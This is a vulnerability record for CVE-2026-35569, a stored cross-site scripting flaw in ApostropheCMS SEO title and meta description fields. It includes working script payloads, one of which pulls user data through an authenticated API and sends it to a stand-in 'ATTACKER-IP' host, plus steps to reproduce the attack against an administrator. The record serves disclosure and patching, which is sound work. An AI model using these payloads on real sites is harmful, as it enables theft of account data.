{"id":"CVE-2026-35569","aliases":["GHSA-855c-r2vq-c292"],"url":"https://o3.security/vulnerability/CVE-2026-35569","summary":"ApostropheCMS: Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS","details":"## Summary\n\nA stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.\n\nImproper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.\n\n## Affected Version\nApostropheCMS (tested on version: v4.28.0)\n\n## Vulnerability Details\nUser-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:\n\n- `<title>`\n- `<meta>` attributes\n- structured data (JSON-LD)\n\nThis allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.\n\n\n\n## PoC 1\n\n**The following payload demonstrates breaking out of HTML context:**\n```javascript\n\"></title><script>alert(1)</script>\n```\nThis confirms:\n  - Improper output encoding\n  - Ability to escape `<title> / <meta>` contexts\n  - Arbitrary script execution\n\n## PoC 2\n**This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.**\n```javascript\n\"></title><script>\nfetch('/api/v1/@apostrophecms/user', {\n  credentials:'include'\n})\n.then(r=>r.text())\n.then(d=>{\n  fetch('http://ATTACKER-IP:5656/?data='+btoa(d))\n})\n</script>\n```\n\n\n## Video Proof of Concept\n\nWatch the following YouTube video for a full demonstration of the exploit:\n\n**PoC Video:** https://youtu.be/FZuulua_pa8\n\n\n## Steps to Reproduce\n\n1. Start a local listener: `python3 -m http.server 5656`\n2. Login to ApostropheCMS as an authenticated user\n3.  Create or edit a page\n4.  Navigate to SEO settings\n5.  Insert the payload into the SEO Title field  and  Meta Description\n```javascript\n\"></title><script>\nfetch('/api/v1/@apostrophecms/user',{\n  credentials:'include'\n})\n.then(r=>r.text())\n.then(d=>{\n  fetch('http://ATTACKER-IP:5656/?data='+btoa(d))\n})\n</script>\n```\n6.  Set **Schema Type** to \"Web page\"\n7.  Save and publish the page\n8.  Have an administrator visit the page\n\n\n## Result\n- The payload executes in the admin’s browser\n- The script sends a request to: `/api/v1/@apostrophecms/user`\n- The response contains sensitive user data:\n  - usernames\n  - email addresses\n  - roles (including admin)\n\n- The data is exfiltrated to the attacker-controlled server:\n  - `http://ATTACKER-IP:5656`\n\n## Evidence\n- The attacker server receives:\n  - `GET /?data=BASE64_ENCODED_RESPONSE`\n- Decoding the response reveals sensitive application data.\n\n## Security Impact\nThis vulnerability allows an attacker to:\n  - Execute arbitrary JavaScript in an authenticated admin context\n  - Perform authenticated API requests (session riding)\n  - Access sensitive application data via internal APIs\n  - Exfiltrate sensitive data to an external attacker-controlled server\n  \n ## References\n- Fix commit: https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3\n- https://www.cve.org/CVERecord?id=CVE-2026-35569\n- https://nvd.nist.gov/vuln/detail/CVE-2026-35569\n- https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569","published":"2026-04-15T19:34:23.648Z","modified":"2026-08-12T03:51:10.560328573Z","cvss":{"score":8.7,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N"},"epss":{"score":0.00298,"percentile":0.22173,"asOf":"2026-08-12"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"apostrophe","fixedVersion":"4.29.0"}],"fix":{"url":"https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3","label":"apostrophecms/apostrophe@0e57dd0"},"references":[{"type":"WEB","url":"https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/35xxx/CVE-2026-35569.json"},{"type":"ADVISORY","url":"https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-855c-r2vq-c292"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35569"},{"type":"FIX","url":"https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3"},{"type":"PACKAGE","url":"https://github.com/apostrophecms/apostrophe"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:10.560328573Z"}}